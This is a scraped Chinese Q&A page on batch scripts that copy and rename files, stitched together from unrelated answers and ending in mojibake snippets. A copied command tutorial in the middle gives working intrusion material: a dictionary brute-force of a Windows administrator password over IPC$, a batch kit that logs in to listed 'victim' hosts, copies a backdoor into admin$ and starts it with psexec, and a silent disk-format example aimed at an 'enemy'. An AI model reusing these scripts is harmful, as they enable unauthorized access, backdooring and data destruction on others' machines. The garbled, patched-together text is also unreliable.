批处理复制文件至指定文件夹,并自动重命名。 如何写一个bat 把文件移动到指定文件夹中并自动重命名

\u6279\u5904\u7406\u590d\u5236\u6587\u4ef6\u5939\uff0c\u5e76\u81ea\u52a8\u91cd\u547d\u540d

@echo off & title \u6279\u91cf\u62f7\u8d1d\u76ee\u5f55\u5e76\u521b\u5efa\u5feb\u6377\u65b9\u5f0f By \u4f9d\u68a6\u7434\u7476cd /d %~dp0setlocal enabledelayedexpansion::\u8bbe\u7f6e\u6e90\u6587\u4ef6\u5939\u8def\u5f84set Src_Dir=ABC::\u8bbe\u7f6e\u5feb\u6377\u65b9\u5f0f\u5b58\u653e\u8def\u5f84\uff0c\u4e0d\u5b58\u5728\u65f6\u4f1a\u81ea\u52a8\u521b\u5efaset Lnk_Dir=CDE::\u8bbe\u7f6e\u62f7\u8d1d\u540e\u7684\u6587\u4ef6\u5939\u524d\u7f00\u540dset Tgt_Dir=XYZ:InputCountset /p Count=\u8bf7\u8f93\u5165\u62f7\u8d1d\u6b21\u6570\uff0c\u56de\u8f66\u786e\u8ba4\uff1aif not defined Count ( goto InputError) else ( Call :CheckInput):NextStartif %Count% lss 0 ( goto InputError) else ( if %Count% gtr 99 ( goto InputError ))echo, & call :CreatLnkMakeToolfor %%a in ("%Lnk_Dir%") do ( if not exist "%%~fa" md "%%~fa" set "Lnk_Dir=%%~fa")set /a Count+=100for /l %%a in (101,1,%Count%) do ( set "Num=%%~a" if not exist "%Tgt_Dir% !Num:~1!\terminal.exe" xcopy /s/e "%Src_Dir%" "%Tgt_Dir% !Num:~1!\" >nul cscript /nologo MakeLnk.vbs "%Lnk_Dir%\!Num:~1!.lnk" "%~dp0%Tgt_Dir% !Num:~1!\terminal.exe" "%~dp0%Tgt_Dir% !Num:~1!" "!Num:~1!.lnk")del /f /q MakeLnk.vbsecho, & echo \u672c\u6b21\u5904\u7406\u5df2\u5b8c\u6210\uff0c\u8bf7\u6309\u4efb\u610f\u952e\u9000\u51fa\u3002pause>nul & exit:CheckInputecho %Count%|findstr /c:" " >nul && ( goto InputError) || ( echo %Count%|findstr ^[0-9][0-9]*$ >nul && ( goto NextStart ) || ( goto InputError ))goto :eof:InputErrorecho, & set "Count="echo \u8bf7\u52a1\u5fc5\u8f93\u5165\u4e0d\u5c0f\u4e8e 1 \u4e0d\u5927\u4e8e 99 \u7684\u7eaf\u6570\u5b57\uff0c\u4e14\u4e0d\u80fd\u4e3a\u7a7a\u6216\u6709\u7a7a\u683c\u3002ping 127.0.0.1 -n "2">nulcls & goto InputCount:CreatLnkMakeTool(echo Set WshShell = WScript.CreateObject^("WScript.Shell"^)echo Set oShellLink = WshShell.CreateShortcut^(WScript.Arguments^(0^)^)echo oShellLink.TargetPath = Chr^(34^) ^& WScript.Arguments^(1^) ^& Chr^(34^)echo oShellLink.Arguments = "/portable"echo oShellLink.WorkingDirectory = WScript.Arguments^(2^)echo oShellLink.Saveecho WScript.Echo "\u5feb\u6377\u65b9\u5f0f " ^& WScript.Arguments^(3^) ^& " \u5df2\u521b\u5efa\u3002")>MakeLnk.vbsgoto :eof
\u4f60\u7684\u5962\u671b\uff0c\u600e\u4e48\u80fd\u8ba9\u4f60\u5931\u671b\u5462\uff1f\u6240\u4ee5\u8fd9\u6837\u7684\u5962\u671b\u8fd8\u662f\u53ef\u4ee5\u6210\u771f\u7684\u3002

move /Y D:\filename e:\folder\new_filename

1、建立一个新文件夹,将所有学生作业文件夹对象复制一份放入其中。

2、开始→运行,输入cmd,打开CMD窗口。

3、在CMD窗口中,切换当前盘到目标文件夹所在盘,并切换当前文件夹到目标文件夹。

4、在CMD窗口中,用dir命令查询所有符合条件的文件夹,并将显示结果重定向输出到当前文件下的rename.txt中。注意dir命令、带通配符的文件名192.*与重定向输出>rename.txt之间有空格。

5、CMD窗口中命令提示符后输入rename.bat,回车,执行批处理文件。

6、批量文件夹重命名完成。



只能分成两次完成操作。

1、在电脑上新建一个文件夹,新建一个“TXT”文件,并命名。

2、点击右键,把文件的后缀名设置为“.bat”。

3、右键打开文件,第一行输入“copy C:\Users\Administrator\Desktop\西游记\1.JPG C:\”。

4、第二行输入“pause”。

5、保存后关闭,双击文件弹出“DOS”界面。


6、即可看到C盘下已经复制了一个文件。

7、开始→运行,输入cmd,打开CMD窗口。

8、在CMD窗口中,切换当前盘到目标文件夹所在盘,并切换当前文件夹到目标文件夹。

9、在CMD窗口中,用dir命令查询所有符合条件的文件夹,并将显示结果重定向输出到当前文件下的rename.txt中。注意dir命令、带通配符的文件名192.*与重定向输出>rename.txt之间有空格。

10、CMD窗口中命令提示符后输入rename.bat,回车,执行批处理文件。


11、然后批量文件夹重命名完成。



你可以参考一下(复制的):

1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample篅echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

@echo off
xcopy F:\主图\*.*  F:\合并\ /y
xcopy F:\副图\*.*  F:\合并\ /s /y
for /f %%i in ('dir /s /b F:\合并\黑色\*.*') do (move %%i F:\合并\%%~ni黑%%~xi)
for /f %%i in ('dir /s /b F:\合并\透明\*.*') do (move %%i F:\合并\%%~ni透%%~xi)
rd F:\合并\黑色\
rd F:\合并\透明\

上面只考虑了主图里没有子文件夹,副图里只有两个子文件夹。 如果与实际不符请说明


@Echo Off&Setlocal Enabledelayedexpansion
For /f "tokens=*" %%i in ('dir /a-d /b /s "F:\主图\*.*"') do (
Set fp=%%~dpi&Set fp=!fp:~0,-1!
For /f "tokens=*" %%j in ("!fp!") do (
Xcopy /y "%%i" "F:\合并\%%~nj\"
copy /y "F:\副图\%%~nj\黑色\%%~nxi" "F:\合并\%%~nj\%%~ni黑%%~xi"
copy /y "F:\副图\%%~nj\透明\%%~nxi" "F:\合并\%%~nj\%%~ni透%%~xi"
))
Pause

描述很详细,默认以主图为准,复制主图后再复制副图.



  • 鎵瑰鐞嗗鍒舵枃浠(鏂囦欢澶)
    绛旓細銆 a鏂囦欢澶涔熻澶嶅埗杩囧幓锛屼篃灏辨槸璇锛屽鍒涔嬪悗锛宎鏂囦欢澶瑰簲璇ュ湪b鏂囦欢澶逛笅銆憍copy /y /e /h c:\a d:\b\a\ >nul 3.澶嶅埗C:\a鏂囦欢澶瑰唴鐨勬墍鏈変笢瑗垮埌D:\b鏂囦欢澶逛笅闈 銆恆鏂囦欢澶逛笉澶嶅埗杩囧幓锛屽彧鏄妸c,d杩欎袱涓枃浠跺す鍜宔.txt杩欎釜鏂囦欢澶嶅埗杩囧幓銆憍copy /y /e /h c:\a d:\b\ >nul ...
  • 鎵瑰鐞濡備綍澶嶅埗鎸囧畾鏂囦欢鍒版寚瀹鐨鏂囦欢澶涓?
    绛旓細浣犳病鏈夎娓呮 D:\123\1.txt 鏂囦欢閲岄潰鐨 鏂囦欢鍚 鏄笉鏄寘鍚矾寰勶紙姣斿鏄疍:\123\123.MP3 杩欑鏍煎紡鐨勬枃浠跺悕锛夛紝濡傛灉鏄殑璇濓紝浠g爜鏄笂妤肩殑閭d簺浠g爜锛屽鏋滀笉鏄繖鏍风殑鏍煎紡锛岄偅灏辨槸涓嬮潰鐨勪唬鐮 鎵瑰鐞 for /f "delims=*" %%i in (D:\123\1.txt) do copy "D:\123\%%i" D:\456 CMD for /...
  • DOS鎵瑰鐞鍛戒护瀹炵幇鑷姩澶嶅埗鎸囧畾鐨鏂囦欢澶鍒板叾浠栦綅缃
    绛旓細甯屾湜鐢ㄦ壒澶勭悊鍛戒护鎶婄‖鐩樹腑鎸囧畾鐨勬枃浠跺す锛屾瘮濡俀Q鏂囦欢澶癸紝澶嶅埗鍒鍏朵粬鏂囦欢澶广傚悓鏃跺張甯屾湜鑳介傜敤浜庝笉鍚岀殑鐢佃剳锛屾瘡涓數鑴慟Q鏂囦欢澶圭殑淇濆瓨浣嶇疆涓嶅悓锛屽洜姝よ鑳藉鑷姩瀹炵幇鎼滅储銆傚洜姝ゆ垜灏辫姳浜嗙偣鏃堕棿锛岃嚜宸卞仛浜嗕竴涓鎵瑰鐞嗘枃浠锛屽湪姝ゅ垎浜粰澶у銆傛杩庡ぇ瀹剁浉浜掍氦娴併傛垜鍋氭壒澶勭悊涓昏鐢ㄥ埌鐨勬槸浠ヤ笅鍑犱釜鍛戒护锛1.鈥斺...
  • 姹傚姪濡備綍鐢鎵瑰鐞瀹炵幇 澶嶅埗褰撳墠鏂囦欢澶逛笅鎸囧畾鏂囦欢澶閲岀殑鏂囦欢鍒版寚瀹鐨勭洰褰...
    绛旓細xcopy /e /f /h "c:\Program Files" d:\123 澶嶅埗C鐩樹笅鐨"Program Files"鏂囦欢澶涓嬬殑鎵鏈夋枃浠(鐩綍鍜屽瓙鐩綍,鍖呮嫭绌虹殑)鍒癉鐩樼殑"123"鏂囦欢澶归噷锛屽鍒鐨勬椂鍊欐樉绀衡樺畬鏁寸殑婧愬拰鐩爣鏂囦欢鍚嶁欙紝涔熷鍒堕殣钘忓拰绯荤粺鏂囦欢銆傜悊璁轰笂涔熷氨鏄锛屼笂闈㈣繖涓懡浠よ兘鎶"Program Files"鏂囦欢澶瑰唴鐨勪换浣鏂囦欢澶嶅埗鍑烘潵銆倄copy...
  • 鐢bat澶嶅埗鎸囧畾鏂囦欢鍒版寚瀹氭枃浠鐩綍涓嬬殑鎵鏈鏂囦欢澶?
    绛旓細瀹炵幇姝ゅ姛鑳斤紝浣跨敤鎵瑰鐞涓殑FOR鍛戒护鍗冲彲銆傛柟娉曞涓嬶細1銆侀鍏堟柊寤轰竴涓墿灞曞悕涓.BAT鐨勬枃鏈枃妗c2銆佸皢濡備笅鍐呭澶嶅埗鍒鏂囨湰鏂囨。鍐咃細 for /r d:\ %%i in (*.exe) do copy %%i c:\1 3銆佷繚瀛橈紝鍙屽嚮鎵ц鍗冲彲銆
  • 鎵瑰鐞:濡備綍澶嶅埗鐗瑰畾鏂囦欢鍚嶇殑鏂囦欢鍒扮壒瀹鐨鏂囦欢澶
    绛旓細echo offrem 鏍规嵁鏂囦欢鍚嶄互鎸囧畾瀛楃鍒嗗壊鎴愮殑澶氫釜閮ㄥ垎灏鏂囦欢澶嶅埗鍒扮浉搴鏂囦欢澶set #=Any question&set $=Q&set/az=0x53b7e0b4title %#% +%$%%$% %z%cd /d "%~dp0"set file=D:\A-b-c.docfor /f "delims=" %%a in ("%file%") do ( set "multipath=%%~na")set "folder=D:...
  • 浣跨敤鎵瑰鐞哻opy鎵归噺澶嶅埗鎸囧畾鐩綍涓(鍖呮嫭瀛愮洰褰)鐨勬墍鏈鏂囦欢骞閲嶅懡鍚?
    绛旓細涓嶆竻妤氫綘鐨勫疄闄呮枃浠/鎯呭喌锛屼粎浠ラ棶棰樹腑鐨勮鏄庡強鐚滄祴涓烘嵁澶嶅埗绮樿创鍒拌浜嬫湰锛屽彟瀛樹负xx.bat锛缂栫爜閫堿NSI<# :cls@echo offrem 灏嗕竴涓鎸囧畾鏂囦欢澶/鐩綍閲岀殑鏂囦欢鎸夌収鍘熸潵鐨勭洰褰曠粨鏋鎷疯礉/澶囦唤/澶嶅埗鍒鍙︿竴涓寚瀹氱殑鏂囦欢澶瑰苟鍦ㄦ枃浠跺悕绉版坊鍔犳寚瀹氬瓧绗︿覆鍚庣紑mode con lines=3000set #=Any question&set @=WX&set...
  • bat鎵瑰鐞嗗鍒褰撳墠鐩綍鎸囧畾鏂囦欢鍒版寚瀹氭枃浠跺す,澶嶅埗杩囧幓鐨勬枃浠惰嚜鍔ㄥ湪鍘...
    绛旓細杩欎釜灞炰簬寰堢畝鍗曠殑浠g爜锛屽叿浣撳涓嬶細echo offcopy "D:\123\abc.mdb" "E:\456\abc%date:~,4%骞%date:~5,2%鏈%date:~8,2%鏃.mdb"pause濡傛灉璺緞锛屽悕瀛楃瓑涓嶅悓锛岃鑷鏍规嵁瀹為檯鎯呭喌淇敼銆
  • 鎵瑰鐞 鏂板缓鏂囦欢澶 澶嶅埗鎸囧畾鏂囦欢鍒版枃浠跺す骞閲嶆柊鍛藉悕
    绛旓細::灏嗘鎵瑰鐞鏀惧叆dbf鏂囦欢鐩稿悓鏂囦欢澶鍐 ::鐢变簬鏂囦欢鍚嶇О涓嶈兘涓**,姝や緥浠Y浠f浛 ::鎵鏈夋祴璇曢兘寰堟垚鍔 echo off setlocal ENABLEDELAYEDEXPANSION for /f "tokens=*" %%i in ('dir /b /A-D *.dbf') do (set var=%%~ni set var1=!var:~2,2!if not exist !var1! md !var1!move /Y ...
  • 鎵瑰鐞嗗鍒涓浜涙寚瀹氱殑鏂囦欢鍜屼竴浜涢殢鏈虹殑鏂囦欢鍒版寚瀹氭枃浠跺す鍐
    绛旓細echo off & title 澶嶅埗鎸囧畾鏂囦欢鍒瀛愮洰褰曞悓鍚嶅瓙瀛愮洰褰曚腑 By 渚濇ⅵ鐞寸懚cd /d %~dp0::璁剧疆瑕佸鍒剁殑鏂囦欢锛屼笉鍥哄畾鐨勬枃浠跺悕璇风敤*浠f浛::澶氫釜鏂囦欢涔嬮棿鐢ㄨ嫳鏂囬楀彿闅斿紑锛屽鏈夌┖鏍硷紝鐗规畩瀛楃::鎴栭渶瑕佸鍒跺甫鏈夎嫳鏂囬楀彿鐨勬枃浠讹紝璇锋妸鍚嶅瓧鐢ㄨ嫳鏂囧弻寮曞彿鎷捣鏉::姣斿 file.txt,"ok ok.mp3","寮鍚&鍏抽棴.exe","...
  • 扩展阅读:打开文件 ... 将文件移到指定文件夹 ... 照片怎么做成文件发送 ... 文件夹里如何随意摆放 ... 一份文档复制成多份 ... bat批处理命令大全 ... 一个文件复制100份 ... joiplay怎么打开bat文件 ... 如何将文件放入指定路径 ...

    本站交流只代表网友个人观点,与本站立场无关
    欢迎反馈与建议,请联系电邮
    2024© 车视网